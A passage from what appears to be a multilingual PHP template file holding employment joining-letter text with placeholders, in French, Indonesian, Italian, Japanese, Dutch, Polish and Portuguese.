les congés, les avantages sociaux des employés, les heures de travail, les politiques de transfert, etc., et peut les modifier de temps à autre à sa seule discrétion.

Toutes ces décisions politiques de la Société vous lieront et prévaudront sur le présent Contrat dans cette mesure.

14. Droit applicable/juridiction

Votre emploi au sein de la Société est soumis aux lois du pays. Tous les litiges seront soumis à la compétence du tribunal de grande instance

Gujarat uniquement.

15. Acceptation de notre offre

Veuillez confirmer votre acceptation de ce contrat de travail en signant et en renvoyant le duplicata.

Nous vous souhaitons la bienvenue et nous nous réjouissons de recevoir votre acceptation et de travailler avec vous.

Cordialement,

{app_name}

{date}

', 'id' => '

Surat Bergabung

{date}

{employee_name}

{address}

Perihal: Pengangkatan untuk jabatan {designation}

{employee_name} yang terhormat,

Kami dengan senang hati menawarkan kepada Anda, posisi {designation} dengan {app_name} sebagai Perusahaan dengan persyaratan dan

kondisi:

1. Mulai bekerja

Pekerjaan Anda akan efektif, mulai {start_date}

2. Jabatan

Jabatan Anda adalah {designation}.

3. Gaji

Gaji Anda dan tunjangan lainnya akan diatur dalam Jadwal 1, di sini.

4. Tempat posting

Anda akan diposkan di {branch}. Namun Anda mungkin diminta untuk bekerja di tempat bisnis mana pun yang dimiliki Perusahaan, atau

nantinya dapat memperoleh.

5. Jam Kerja

Hari kerja normal adalah Senin sampai Jumat. Anda akan diminta untuk bekerja selama jam-jam yang diperlukan untuk

pelaksanaan tugas Anda dengan benar di Perusahaan. Jam kerja normal adalah dari {start_time} hingga {end_time} dan Anda

diharapkan bekerja tidak kurang dari {total_hours} jam setiap minggu, dan jika perlu untuk jam tambahan tergantung pada

tanggung jawab.

6. Cuti/Libur

6.1 Anda berhak atas cuti biasa selama 12 hari.

6.2 Anda berhak atas 12 hari kerja cuti sakit berbayar.

6.3 Perusahaan akan memberitahukan daftar hari libur yang diumumkan pada awal setiap tahun.

7. Sifat tugas

Anda akan melakukan yang terbaik dari kemampuan Anda semua tugas yang melekat pada jabatan Anda dan tugas tambahan seperti perusahaan

dapat memanggil Anda untuk tampil, dari waktu ke waktu. Tugas khusus Anda ditetapkan dalam Jadwal II di sini.

8. Properti perusahaan

Anda akan selalu menjaga properti Perusahaan dalam kondisi baik, yang dapat dipercayakan kepada Anda untuk penggunaan resmi selama

pekerjaan Anda, dan akan mengembalikan semua properti tersebut kepada Perusahaan sebelum melepaskan biaya Anda, jika tidak ada biayanya

yang sama akan dipulihkan dari Anda oleh Perusahaan.

9. Meminjam/menerima hadiah

Anda tidak akan meminjam atau menerima uang, hadiah, hadiah, atau kompensasi apa pun untuk keuntungan pribadi Anda dari atau dengan cara lain menempatkan diri Anda sendiri

di bawah kewajiban uang kepada setiap orang/klien dengan siapa Anda mungkin memiliki hubungan resmi.

10. Penghentian

10.1 Penunjukan Anda dapat diakhiri oleh Perusahaan, tanpa alasan apa pun, dengan memberi Anda tidak kurang dari [Pemberitahuan] bulan sebelumnya

pemberitahuan secara tertulis atau gaji sebagai penggantinya. Untuk maksud pasal ini, gaji berarti gaji pokok.

10.2 Anda dapat memutuskan hubungan kerja Anda dengan Perusahaan, tanpa alasan apa pun, dengan memberikan tidak kurang dari [Pemberitahuan Karyawan]

pemberitahuan atau gaji bulan sebelumnya untuk periode yang belum disimpan, yang tersisa setelah penyesuaian cuti yang tertunda, pada tanggal.

10.3 Perusahaan berhak untuk mengakhiri hubungan kerja Anda dengan segera tanpa pemberitahuan jangka waktu atau pembayaran pemutusan hubungan kerja

jika memiliki alasan yang masuk akal untuk meyakini bahwa Anda bersalah atas kesalahan atau kelalaian, atau telah melakukan pelanggaran mendasar apa pun terhadap

kontrak, atau menyebabkan kerugian bagi Perusahaan.

10. 4 Pada pemutusan hubungan kerja Anda karena alasan apa pun, Anda akan mengembalikan semua properti kepada Perusahaan; dokumen, dan

kertas, baik asli maupun salinannya, termasuk contoh, literatur, kontrak, catatan, daftar, gambar, cetak biru,

surat, catatan, data dan sejenisnya; dan Informasi Rahasia, yang Anda miliki atau di bawah kendali Anda terkait dengan

pekerjaan atau untuk urusan bisnis klien.

11. Informasi Rahasia

11. 1 Selama bekerja di Perusahaan, Anda akan mencurahkan seluruh waktu, perhatian, dan keterampilan Anda sebaik mungkin untuk

bisnisnya. Anda tidak boleh, secara langsung atau tidak langsung, terlibat atau mengasosiasikan diri Anda dengan, terhubung dengan, terkait, dipekerjakan, atau

waktu atau mengikuti program studi apapun, tanpa izin sebelumnya dari Perusahaan.terlibat dalam bisnis lain atau

kegiatan atau pos atau pekerjaan paruh waktu lainnya atau mengejar program studi apa pun, tanpa izin sebelumnya dari

Perusahaan.

11.2 Anda harus selalu menjaga tingkat kerahasiaan tertinggi dan merahasiakan catatan, dokumen, dan lainnya

Informasi Rahasia yang berkaitan dengan bisnis Perusahaan yang mungkin Anda ketahui atau rahasiakan kepada Anda dengan cara apa pun

dan Anda akan menggunakan catatan, dokumen, dan informasi tersebut hanya dengan cara yang sah untuk kepentingan Perusahaan. Untuk

tujuan klausul ini Informasi Rahasia berarti informasi tentang bisnis Perusahaan dan pelanggannya

yang tidak tersedia untuk masyarakat umum dan yang mungkin Anda pelajari selama masa kerja Anda. Ini termasuk,

tetapi tidak terbatas pada, informasi yang berkaitan dengan organisasi, daftar pelanggannya, kebijakan ketenagakerjaan, personel, dan informasi

tentang produk Perusahaan, proses termasuk ide, konsep, proyeksi, teknologi, manual, gambar, desain,

spesifikasi, dan semua makalah, resume, catatan dan dokumen lain yang berisi Informasi Rahasia tersebut.

11.3 Kapan pun Anda akan menghapus Informasi Rahasia apa pun dari kantor tanpa izin.

11.4 Kewajiban Anda untuk melindungi dan tidak mengungkapkan

e Informasi Rahasia akan tetap berlaku setelah berakhirnya atau pengakhiran Perjanjian ini dan/atau hubungan kerja Anda dengan Perusahaan.

11.5 Pelanggaran terhadap ketentuan klausul ini akan membuat Anda bertanggung jawab atas pemecatan singkat berdasarkan klausul di atas selain dari:

upaya hukum lain yang mungkin dimiliki Perusahaan terhadap Anda secara hukum.

12. Pemberitahuan

Pemberitahuan dapat diberikan oleh Anda kepada Perusahaan di alamat kantor terdaftarnya. Pemberitahuan dapat diberikan oleh Perusahaan kepada Anda di

alamat yang diberitahukan oleh Anda dalam catatan resmi.

13. Keberlakuan Kebijakan Perusahaan

Perusahaan berhak untuk membuat pernyataan kebijakan dari waktu ke waktu berkaitan dengan hal-hal seperti hak cuti, persalinan

cuti, tunjangan karyawan, jam kerja, kebijakan transfer, dll., dan dapat mengubahnya dari waktu ke waktu atas kebijakannya sendiri.

Semua keputusan kebijakan Perusahaan tersebut akan mengikat Anda dan akan mengesampingkan Perjanjian ini sejauh itu.

14. Hukum/Yurisdiksi yang Mengatur

Pekerjaan Anda dengan Perusahaan tunduk pada undang-undang Negara. Semua perselisihan akan tunduk pada yurisdiksi Pengadilan Tinggi

Gujarat saja.

15. Penerimaan penawaran kami

Harap konfirmasikan penerimaan Anda atas Kontrak Kerja ini dengan menandatangani dan mengembalikan salinan duplikatnya.

Kami menyambut Anda dan berharap untuk menerima penerimaan Anda dan bekerja sama dengan Anda.

Dengan hormat,

{app_name}

{date}

', 'it' => '

Lettera di adesione

{date}

{employee_name}

{address}

Oggetto: Appuntamento alla carica di {designation}

Gentile {employee_name},

Siamo lieti di offrirti la posizione di {designation} con {app_name} la "Società" alle seguenti condizioni e

condizioni:

1. Inizio del rapporto di lavoro

Il tuo impiego sarà effettivo a partire da {start_date}

2. Titolo di lavoro

Il tuo titolo di lavoro sarà {designation}.

3. Stipendio

Il tuo stipendio e altri benefici saranno come indicato nellAllegato 1, qui di seguito.

4. Luogo di invio

Sarai inviato a {branch}. Tuttavia, potrebbe essere richiesto di lavorare in qualsiasi luogo di attività che la Società ha, o

potrà successivamente acquisire.

5. Orario di lavoro

I normali giorni lavorativi sono dal lunedì al venerdì. Ti verrà richiesto di lavorare per le ore necessarie per il

corretto adempimento dei propri doveri nei confronti della Società. Lorario di lavoro normale va da {start_time} a {end_time} e tu lo sei

dovrebbe lavorare non meno di {total_hours} ore ogni settimana e, se necessario, per ore aggiuntive a seconda del tuo

responsabilità.

6. Permessi/Festività

6.1 Hai diritto a un congedo occasionale di 12 giorni.

6.2 Hai diritto a 12 giorni lavorativi di congedo per malattia retribuito.

6.3 La Società comunica allinizio di ogni anno un elenco delle festività dichiarate.

7. Natura degli incarichi

Eseguirai al meglio delle tue capacità tutti i compiti inerenti al tuo incarico e compiti aggiuntivi come lazienda

può invitarti a esibirti, di tanto in tanto. I tuoi doveri specifici sono stabiliti nellAllegato II del presente documento.

8. Proprietà aziendale

Manterrete sempre in buono stato i beni dellAzienda, che nel corso dellanno potrebbero esservi affidati per uso ufficiale

il tuo impiego, e restituirà tutte queste proprietà alla Società prima della rinuncia al tuo addebito, in caso contrario il costo

degli stessi saranno da voi recuperati dalla Società.

9. Prendere in prestito/accettare regali

Non prenderai in prestito né accetterai denaro, dono, ricompensa o compenso per i tuoi guadagni personali da o altrimenti collocato te stesso

sotto obbligazione pecuniaria nei confronti di qualsiasi persona/cliente con cui potresti avere rapporti ufficiali.

10. Cessazione

10.1 Il tuo incarico può essere risolto dalla Società, senza alcun motivo, dandoti non meno di [Avviso] mesi prima

avviso scritto o stipendio in sostituzione di esso. Ai fini della presente clausola, per stipendio si intende lo stipendio base.

10.2 È possibile terminare il proprio rapporto di lavoro con la Società, senza alcuna causa, fornendo non meno di [Avviso per il dipendente]

mesi di preavviso o stipendio per il periodo non risparmiato, lasciato dopo ladeguamento delle ferie pendenti, come alla data.

10.3 La Società si riserva il diritto di terminare il rapporto di lavoro sommariamente senza alcun periodo di preavviso o pagamento di cessazione

se ha fondati motivi per ritenere che tu sia colpevole di cattiva condotta o negligenza, o abbia commesso una violazione fondamentale

contratto, o ha causato danni alla Società.

10. 4 Alla cessazione del rapporto di lavoro per qualsiasi motivo, restituirete alla Società tutti i beni; documenti, e

carta, sia in originale che in copia, inclusi eventuali campioni, letteratura, contratti, registrazioni, elenchi, disegni, progetti,

lettere, note, dati e simili; e Informazioni Riservate, in tuo possesso o sotto il tuo controllo, relative alla tua

lavoro o agli affari dei clienti.

11. Confidential Information

11. 1 During your employment with the Company you will devote your whole time, attention, and skill to the best of your ability for

its business. You shall not, directly or indirectly, engage or associate yourself with, be connected with, concerned, employed, or

time or pursue any course of study whatsoever, without the prior permission of the Company.engaged in any other business or

activities or any other post or work part-time or pursue any course of study whatsoever, without the prior permission of the

Company.

11.2 You must always maintain the highest degree of confidentiality and keep as confidential the records, documents, and other 

Confidential Information relating to the business of the Company which may be known to you or confided in you by any means

and you will use such records, documents and information only in a duly authorized manner in the interest of the Company. For

the purposes of this clause ‘Confidential Information’ means information about the Company’s business and that of its customers

which is not available to the general public and which may be learned by you in the course of your employment. This includes,

but is not limited to, information relating to the organization, its customer lists, employment policies, personnel, and information

about the Company’s products, processes including ideas, concepts, projections, technology, manuals, drawing, designs, 

specifications, and all papers, resumes, records and other documents containing such Confidential Information.

11.3 At no time, will you remove any Confidential Information from the office without permission.

11.4 Your duty to safeguard and not disclos

e Confidential Information will survive the expiration or termination of this Agreement and/or your employment with the Company.

11.5 Breach of the conditions of this clause will render you liable to summary dismissal under the clause above in addition to any

other remedy the Company may have against you in law.

12. Notices

Notices may be given by you to the Company at its registered office address. Notices may be given by the Company to you at

the address intimated by you in the official records.

13. Applicability of Company Policy

The Company shall be entitled to make policy declarations from time to time pertaining to matters like leave entitlement,maternity

leave, employees’ benefits, working hours, transfer policies, etc., and may alter the same from time to time at its sole discretion.

All such policy decisions of the Company shall be binding on you and shall override this Agreement to that  extent.

14. Governing Law/Jurisdiction

Your employment with the Company is subject to Country laws. All disputes shall be subject to the jurisdiction of High Court

Gujarat only.

15. Acceptance of our offer

Please confirm your acceptance of this Contract of Employment by signing and returning the duplicate copy.

We welcome you and look forward to receiving your acceptance and to working with you.

Yours Sincerely,

{app_name}

{date}

', 'ja' => '

入会の手紙

{date}

{employee_name}

{address}

件名: {designation} の役職への任命

{employee_name} 様

{app_name} の {designation} の地位を以下の条件で「会社」として提供できることをうれしく思います。

条件:

1. 雇用開始

あなたの雇用は {start_date} から有効になります

2. 役職

あなたの役職は{designation}になります。

3. 給与

あなたの給与およびその他の福利厚生は、本明細書のスケジュール 1 に記載されているとおりです。

4. 掲示場所

{branch} に掲載されます。ただし、会社が所有する事業所で働く必要がある場合があります。

後で取得する場合があります。

5. 労働時間

通常の営業日は月曜日から金曜日です。あなたは、そのために必要な時間働く必要があります。

会社に対するあなたの義務の適切な遂行。通常の勤務時間は {start_time} から {end_time} までで、あなたは

毎週 {total_hours} 時間以上の勤務が期待される

責任。

6.休暇・休日

6.1 12 日間の臨時休暇を取得する権利があります。

6.2 12 日間の有給病気休暇を取る権利があります。

6.3 当社は、毎年の初めに宣言された休日のリストを通知するものとします。

7. 職務内容

あなたは、自分のポストに固有のすべての義務と、会社としての追加の義務を最大限に遂行します。

時々あなたに演奏を依頼するかもしれません。あなたの特定の義務は、本明細書のスケジュール II に記載されています。

8. 会社財産

あなたは、会社の所有物を常に良好な状態に維持するものとします。

あなたの雇用を放棄し、あなたの料金を放棄する前に、そのようなすべての財産を会社に返還するものとします。

同じのは、会社によってあなたから回収されます。

9. 貸出・贈答品の受け取り

あなたは、あなた自身から、または他の方法であなた自身の場所から個人的な利益を得るための金銭、贈り物、報酬、または補償を借りたり、受け取ったりしません。

あなたが公式の取引をしている可能性のある人物/クライアントに対する金銭的義務の下で。

10. 終了

10.1 少なくとも [通知] か月前に通知することにより、理由のいかんを問わず、会社はあなたの任命を終了することができます。

書面による通知またはその代わりの給与。この条項の目的上、給与とは基本給を意味するものとします。

10.2 あなたは、少なくとも [従業員通知] を提出することにより、理由のいかんを問わず、会社での雇用を終了することができます。

保留中の休暇の調整後に残された、保存されていない期間の数か月前の通知または給与は、日付のとおりです。

10.3 当社は、通知期間や解雇補償金なしに、あなたの雇用を即座に終了させる権利を留保します。

あなたが不正行為または過失で有罪であると信じる合理的な根拠がある場合、または基本的な違反を犯した場合

契約、または当社に損害を与えた。

10. 4 何らかの理由で雇用が終了した場合、あなたは会社にすべての財産を返還するものとします。ドキュメント、および

サンプル、文献、契約書、記録、リスト、図面、青写真を含む、原本とコピーの両方の紙、

手紙、メモ、データなど。あなたが所有する、またはあなたの管理下にある機密情報。

雇用またはクライアントの業務に。

11. 機密情報

11. 1 当社での雇用期間中、あなたは自分の全時間、注意、およびスキルを、自分の能力の限りを尽くして捧げます。

そのビジネス。あなたは、直接的または間接的に、関与したり、関連付けたり、接続したり、関係したり、雇用したり、または

会社の事前の許可なしに、時間や学習コースを追求すること。他のビジネスに従事すること、または

の事前の許可なしに、活動またはその他の投稿またはアルバイトをしたり、何らかの研究コースを追求したりすること。

会社。

11.2 常に最高度の機密性を維持し、記録、文書、およびその他の情報を機密として保持する必要があります。

お客様が知っている、または何らかの方法でお客様に内密にされている可能性がある、当社の事業に関連する機密情報

また、あなたは、会社の利益のために正当に承認された方法でのみ、そのような記録、文書、および情報を使用するものとします。為に

この条項の目的 「機密情報」とは、会社の事業および顧客の事業に関する情報を意味します。

これは一般には公開されておらず、雇用の過程で学習する可能性があります。これも、

組織、その顧客リスト、雇用方針、人事、および情報に関連する情報に限定されません

当社の製品、アイデアを含むプロセス、コンセプト、予測、技術、マニュアル、図面、デザイン、

仕様、およびそのような機密情報を含むすべての書類、履歴書、記録、およびその他の文書。

11.3 いかなる時も、許可なくオフィスから機密情報を削除しないでください。

11.4 保護し、開示しないというあなたの義務

e 機密情報は、本契約および/または当社との雇用の満了または終了後も存続します。

11.5 この条項の条件に違反した場合、上記の条項に基づく略式解雇の対象となります。

会社が法律であなたに対して持つことができるその他の救済。

12. 通知

通知は、登録された事務所の住所で会社に提出することができます。通知は、当社からお客様に提供される場合があります。

公式記録であなたがほのめかした住所。

13. 会社方針の適用性

会社は、休暇の資格、出産などの事項に関して、随時方針を宣言する権利を有するものとします。

休暇、従業員の福利厚生、勤務時間、異動ポリシーなどであり、独自の裁量により随時変更される場合があります。

当社のそのようなポリシー決定はすべて、あなたを拘束し、その範囲で本契約を無効にするものとします。

14. 準拠法・裁判管轄

当社でのあなたの雇用は、国の法律の対象となります。すべての紛争は、高等裁判所の管轄に服するものとします

グジャラートのみ。

15. オファーの受諾

副本に署名して返送することにより、この雇用契約に同意したことを確認してください。

私たちはあなたを歓迎し、あなたの受け入れを受け取り、あなたと一緒に働くことを楽しみにしています.

敬具、

{app_name}

{date}

', 'nl' => '

Deelnemende brief

{date}

{employee}

{address}

Onderwerp: Benoeming voor de functie van {designation}

Beste {employee_name},

We zijn verheugd u de positie van {designation} bij {app_name} het Bedrijf aan te bieden onder de volgende voorwaarden en

conditie:

1. Indiensttreding

Uw dienstverband gaat in op {start_date}

2. Functietitel

Uw functietitel wordt {designation}.

3. Salaris

Uw salaris en andere voordelen zijn zoals uiteengezet in Schema 1 hierbij.

4. Plaats van detachering

Je wordt geplaatst op {branch}. Het kan echter zijn dat u moet werken op een bedrijfslocatie die het Bedrijf heeft, of

later kan verwerven.

5. Werkuren

De normale werkdagen zijn van maandag tot en met vrijdag. Je zal de uren moeten werken die nodig zijn voor de

correcte uitvoering van uw taken jegens het bedrijf. De normale werkuren zijn van {start_time} tot {end_time} en jij bent

naar verwachting niet minder dan {total_hours} uur per week werken, en indien nodig voor extra uren, afhankelijk van uw

verantwoordelijkheden.

6. Verlof/Vakantie

6.1 Je hebt recht op tijdelijk verlof van 12 dagen.

6.2 U heeft recht op 12 werkdagen betaald ziekteverlof.

6.3 De Maatschappij stelt aan het begin van elk jaar een lijst van verklaarde feestdagen op.

7. Aard van de taken

Je voert alle taken die inherent zijn aan je functie en bijkomende taken zoals het bedrijf naar beste vermogen uit;

kan van tijd tot tijd een beroep op u doen om op te treden. Uw specifieke taken zijn uiteengezet in Bijlage II hierbij.

8. Bedrijfseigendommen

U onderhoudt bedrijfseigendommen, die u in de loop van

uw dienstverband, en zal al deze eigendommen aan het Bedrijf teruggeven voordat afstand wordt gedaan van uw kosten, bij gebreke waarvan de kosten

hiervan zal door het Bedrijf van u worden verhaald.

9. Geschenken lenen/aannemen

U zult geen geld, geschenken, beloningen of vergoedingen voor uw persoonlijk gewin lenen of accepteren van uzelf of uzelf op een andere manier plaatsen

onder geldelijke verplichting jegens een persoon/klant met wie u mogelijk officiële betrekkingen heeft.

10. Beëindiging

10.1 Uw aanstelling kan door het Bedrijf zonder opgaaf van reden worden beëindigd door u minimaal [Opzegging] maanden van tevoren

schriftelijke opzegging of daarvoor in de plaats komend salaris. In dit artikel wordt onder salaris verstaan ​​het basissalaris.

10.2 U kunt uw dienstverband bij het Bedrijf beëindigen, zonder enige reden, door niet minder dan [Mededeling van de werknemer]

maanden opzegtermijn of salaris voor de niet gespaarde periode, overgebleven na aanpassing van hangende verlofdagen, zoals op datum.

10.3 Het bedrijf behoudt zich het recht voor om uw dienstverband op staande voet te beëindigen zonder enige opzegtermijn of beëindigingsvergoeding

als het redelijke grond heeft om aan te nemen dat u zich schuldig heeft gemaakt aan wangedrag of nalatigheid, of een fundamentele schending van

contract, of enig verlies voor het Bedrijf veroorzaakt.

10. 4 Bij beëindiging van uw dienstverband om welke reden dan ook, geeft u alle eigendommen terug aan het Bedrijf; documenten, en

papier, zowel origineel als kopieën daarvan, inclusief eventuele monsters, literatuur, contracten, bescheiden, lijsten, tekeningen, blauwdrukken,

brieven, notities, gegevens en dergelijke; en Vertrouwelijke informatie, in uw bezit of onder uw controle met betrekking tot uw

werkgelegenheid of de zakelijke aangelegenheden van klanten.

11. Vertrouwelijke informatie

11. 1 Tijdens uw dienstverband bij het Bedrijf besteedt u al uw tijd, aandacht en vaardigheden naar uw beste vermogen aan:

zijn zaken. U mag zich niet, direct of indirect, inlaten met of verbonden zijn met, betrokken zijn bij, betrokken zijn bij, in dienst zijn van of

tijd doorbrengen of een studie volgen, zonder voorafgaande toestemming van het bedrijf.bezig met een ander bedrijf of

werkzaamheden of enige andere functie of werk in deeltijd of het volgen van welke opleiding dan ook, zonder voorafgaande toestemming van de

Bedrijf.

11.2 U moet altijd de hoogste graad van vertrouwelijkheid handhaven en de records, documenten en andere

Vertrouwelijke informatie met betrekking tot het bedrijf van het bedrijf die u op enigerlei wijze bekend is of in vertrouwen is genomen

en u zult dergelijke records, documenten en informatie alleen gebruiken op een naar behoren gemachtigde manier in het belang van het bedrijf. Voor

de doeleinden van deze clausule Vertrouwelijke informatiebetekent informatie over het bedrijf van het bedrijf en dat van zijn klanten

die niet beschikbaar is voor het grote publiek en die u tijdens uw dienstverband kunt leren. Dit bevat,

maar is niet beperkt tot informatie met betrekking tot de organisatie, haar klantenlijsten, werkgelegenheidsbeleid, personeel en informatie

over de producten, processen van het bedrijf, inclusief ideeën, concepten, projecties, technologie, handleidingen, tekeningen, ontwerpen,

specificaties, en alle papieren, cvs, dossiers en andere documenten die dergelijke vertrouwelijke informatie bevatten.

11.3 U verwijdert nooit vertrouwelijke informatie van het kantoor zonder toestemming.

11.4 Uw plicht om te beschermen en niet openbaar te maken

e Vertrouwelijke informatie blijft van kracht na het verstrijken of beëindigen van deze Overeenkomst en/of uw dienstverband bij het Bedrijf.

11.5 Schending van de voorwaarden van deze clausule maakt u aansprakelijk voor ontslag op staande voet op grond van de bovenstaande clausule, naast eventuele:

ander rechtsmiddel dat het Bedrijf volgens de wet tegen u heeft.

12. Kennisgevingen

Kennisgevingen kunnen door u aan het Bedrijf worden gedaan op het adres van de maatschappelijke zetel. Kennisgevingen kunnen door het bedrijf aan u worden gedaan op:

het door u opgegeven adres in de officiële administratie.

13. Toepasselijkheid van het bedrijfsbeleid

Het bedrijf heeft het recht om van tijd tot tijd beleidsverklaringen af ​​te leggen met betrekking tot zaken als verlofrecht, moederschap

verlof, werknemersvoordelen, werkuren, transferbeleid, enz., en kan deze van tijd tot tijd naar eigen goeddunken wijzigen.

Al dergelijke beleidsbeslissingen van het Bedrijf zijn bindend voor u en hebben voorrang op deze Overeenkomst in die mate.

14. Toepasselijk recht/jurisdictie

Uw dienstverband bij het bedrijf is onderworpen aan de landelijke wetgeving. Alle geschillen zijn onderworpen aan de jurisdictie van de High Court

Alleen Gujarat.

15. Aanvaarding van ons aanbod

Bevestig uw aanvaarding van deze arbeidsovereenkomst door het duplicaat te ondertekenen en terug te sturen.

Wij heten u van harte welkom en kijken ernaar uit uw acceptatie te ontvangen en met u samen te werken.

Hoogachtend,

{app_name}

{date}

', 'pl' => '

Dołączanie listu

{date }

{employee_name }

{address }

Dotyczy: mianowania na stanowisko {designation}

Szanowny {employee_name },

Mamy przyjemność zaoferować Państwu, stanowisko {designation} z {app_name } "Spółka" na poniższych warunkach i

warunki:

1. Rozpoczęcie pracy

Twoje zatrudnienie będzie skuteczne, jak na {start_date }

2. Tytuł zadania

Twój tytuł pracy to {designation}.

3. Salary

Twoje wynagrodzenie i inne świadczenia będą określone w Zestawieniu 1, do niniejszego rozporządzenia.

4. Miejsce delegowania

Użytkownik zostanie opublikowany w {branch }. Użytkownik może jednak być zobowiązany do pracy w dowolnym miejscu prowadzenia działalności, które Spółka posiada, lub może później nabyć.

5. Godziny pracy

Normalne dni robocze są od poniedziałku do piątku. Będziesz zobowiązany do pracy na takie godziny, jakie są niezbędne do prawidłowego wywiązania się ze swoich obowiązków wobec Spółki. Normalne godziny pracy to {start_time } do {end_time }, a użytkownik oczekuje, że będzie pracować nie mniej niż {total_hours } godzin tygodniowo, a jeśli to konieczne, przez dodatkowe godziny w zależności od Twojego

odpowiedzialności.

6. Urlop/Wakacje

6.1 Przysługuje prawo do urlopu dorywczego w ciągu 12 dni.

6.2 Użytkownik ma prawo do 12 dni roboczych od wypłatnego zwolnienia chorobowego.

6.3 Spółka powiadamia na początku każdego roku wykaz ogłoszonych świąt. 

7. Rodzaj obowiązków

Będziesz wykonywać na najlepsze ze swojej zdolności wszystkie obowiązki, jak są one nieodłączne w swoim poście i takie dodatkowe obowiązki, jak firma może zadzwonić do wykonania, od czasu do czasu. Państwa szczególne obowiązki są określone w załączniku II do niniejszego rozporządzenia.

8. Właściwość przedsiębiorstwa

Zawsze będziesz utrzymywać w dobrej kondycji Firmy, która może być powierzona do użytku służbowego w trakcie trwania

Twoje zatrudnienie, i zwróci wszystkie takie nieruchomości do Spółki przed zrzeczeniem się opłaty, w przeciwnym razie koszty te same będą odzyskane od Ciebie przez Spółkę.

9. Wypożyczanie/akceptowanie prezentów

Nie będziesz pożyczał ani nie akceptować żadnych pieniędzy, darów, nagrody lub odszkodowania za swoje osobiste zyski z lub w inny sposób złożyć się w ramach zobowiązania pieniężnego do jakiejkolwiek osoby/klienta, z którym może być posiadanie oficjalne relacje.

10. Zakończenie

10.1 Powołanie może zostać wypowiedziane przez Spółkę, bez względu na przyczynę, poprzez podanie nie mniej niż [ Zawiadomienie] miesięcy uprzedniego wypowiedzenia na piśmie lub wynagrodzenia w miejsce jego wystąpienia. Dla celów niniejszej klauzuli, wynagrodzenie oznacza wynagrodzenie podstawowe.

10.2 Użytkownik może rozwiązać umowę o pracę ze Spółką, bez jakiejkolwiek przyczyny, podając nie mniej niż [ ogłoszenie o pracowniku] miesiące przed powiadomieniem lub wynagrodzeniem za niezaoszczędzony okres, pozostawiony po skorygowaniu oczekujących liści, jak na dzień.

10.3 Spółka zastrzega sobie prawo do wypowiedzenia umowy o pracę bez okresu wypowiedzenia lub wypłaty z tytułu rozwiązania umowy, jeżeli ma on uzasadnione podstawy, aby sądzić, że jesteś winny wykroczenia lub niedbalstwa, lub popełnił jakiekolwiek istotne naruszenie umowy lub spowodował jakiekolwiek straty w Spółce. 

10. 4 W sprawie rozwiązania stosunku pracy z jakiegokolwiek powodu, powrócisz do Spółki wszystkie nieruchomości; dokumenty, i 

papieru, zarówno oryginału, jak i jego kopii, w tym wszelkich próbek, literatury, umów, zapisów, wykazów, rysunków, konspektów,

listy, notatki, dane i podobne; informacje poufne, znajdujące się w posiadaniu lub pod Twoją kontrolą związane z zatrudnieniem lub sprawami biznesowymi klientów.   

11. Informacje poufne

11. 1 Podczas swojego zatrudnienia z Firmą poświęcisz cały czas, uwagę i umiejętności na najlepszą z Twoich możliwości

swojej działalności gospodarczej. Użytkownik nie może, bezpośrednio lub pośrednio, prowadzić lub wiązać się z, być związany z, dotyka, zatrudniony lub czas lub prowadzić jakikolwiek kierunek studiów, bez uprzedniej zgody Company.zaangażował się w innej działalności gospodarczej lub działalności lub jakikolwiek inny post lub pracy w niepełnym wymiarze czasu lub prowadzić jakikolwiek kierunek studiów, bez uprzedniej zgody

Firma.

11.2 Zawsze musisz zachować najwyższy stopień poufności i zachować jako poufny akt, dokumenty, i inne 

Informacje poufne dotyczące działalności Spółki, które mogą być znane Państwu lub w dowolny sposób zwierzyny, a Użytkownik będzie posługiwać się takimi zapisami, dokumentami i informacjami tylko w sposób należycie autoryzowany w interesie Spółki. Do celów niniejszej klauzuli "Informacje poufne" oznaczają informacje o działalności Spółki oraz o jej klientach, które nie są dostępne dla ogółu społeczeństwa i które mogą być przez Państwa w trakcie zatrudnienia dowiedzione przez Państwa. Obejmuje to,

ale nie ogranicza się do informacji związanych z organizacją, jej listami klientów, politykami zatrudnienia, personelem oraz informacjami o produktach firmy, procesach, w tym pomysłach, koncepcjach, projekcjach, technikach, podręcznikach, rysunkach, projektach, 

specyfikacje, a także wszystkie dokumenty, życiorysy, zapisy i inne dokumenty zawierające takie informacje poufne.

11.3 W żadnym momencie nie usunie Pan żadnych Informacji Poufnych z urzędu bez zezwolenia.

11.4 Twój obowiązek ochrony a nie disclos

Informacje poufne przetrwają wygaśnięcie lub rozwiązanie niniejszej Umowy i/lub Twoje zatrudnienie w Spółce.

11.5 Naruszenie warunków niniejszej klauzuli spowoduje, że Użytkownik będzie zobowiązany do skróconej umowy w ramach klauzuli powyżej, oprócz wszelkich innych środków zaradcze, jakie Spółka może mieć przeciwko Państwu w prawie.

12. Uwagi

Ogłoszenia mogą być podane przez Państwa do Spółki pod adresem jej siedziby. Ogłoszenia mogą być podane przez Spółkę do Państwa na adres intymniony przez Państwa w ewidencji urzędowej.

13. Stosowność polityki firmy

Spółka jest uprawniona do składania deklaracji politycznych od czasu do czasu dotyczących spraw takich jak prawo do urlopu macierzyńskiego, macierzyństwo

urlopów, świadczeń pracowniczych, godzin pracy, polityki transferowej itp., a także mogą zmieniać to samo od czasu do czasu według własnego uznania.

Wszystkie takie decyzje polityczne Spółki są wiążące dla Państwa i przesłaniają niniejszą Umowę w tym zakresie.

14. Prawo właściwe/jurysdykcja

Twoje zatrudnienie ze Spółką podlega prawu krajowi. Wszelkie spory podlegają właściwości Sądu Najwyższego

Tylko Gujarat.

15. Akceptacja naszej oferty

Prosimy o potwierdzenie przyjęcia niniejszej Umowy o pracę poprzez podpisanie i zwrócenie duplikatu.

Zapraszamy Państwa i czekamy na Państwa przyjęcie i współpracę z Tobą.

Z Państwa Sincerely,

{app_name }

{date }

', 'pt' => '

Carta De Adesão

{data}

{employee_name}

{address}

Assunto: Nomeação para o cargo de {designation}

Querido {employee_name},

Temos o prazer de oferecê-lo, a posição de {designation} com {app_name} a Empresa nos seguintes termos e

condições:

1. Comentamento do emprego

Seu emprego será efetivo, a partir de {start_date}

2. Título do emprego

Seu cargo de trabalho será {designation}.

3. Salário

Seu salário e outros benefícios serão conforme estabelecido no Planejamento 1, hereto.

4. Local de postagem

Você será postado em {branch}. Você pode, no entanto, ser obrigado a trabalhar em qualquer local de negócios que a Empresa tenha, ou possa posteriormente adquirir.

5. Horas de Trabalho

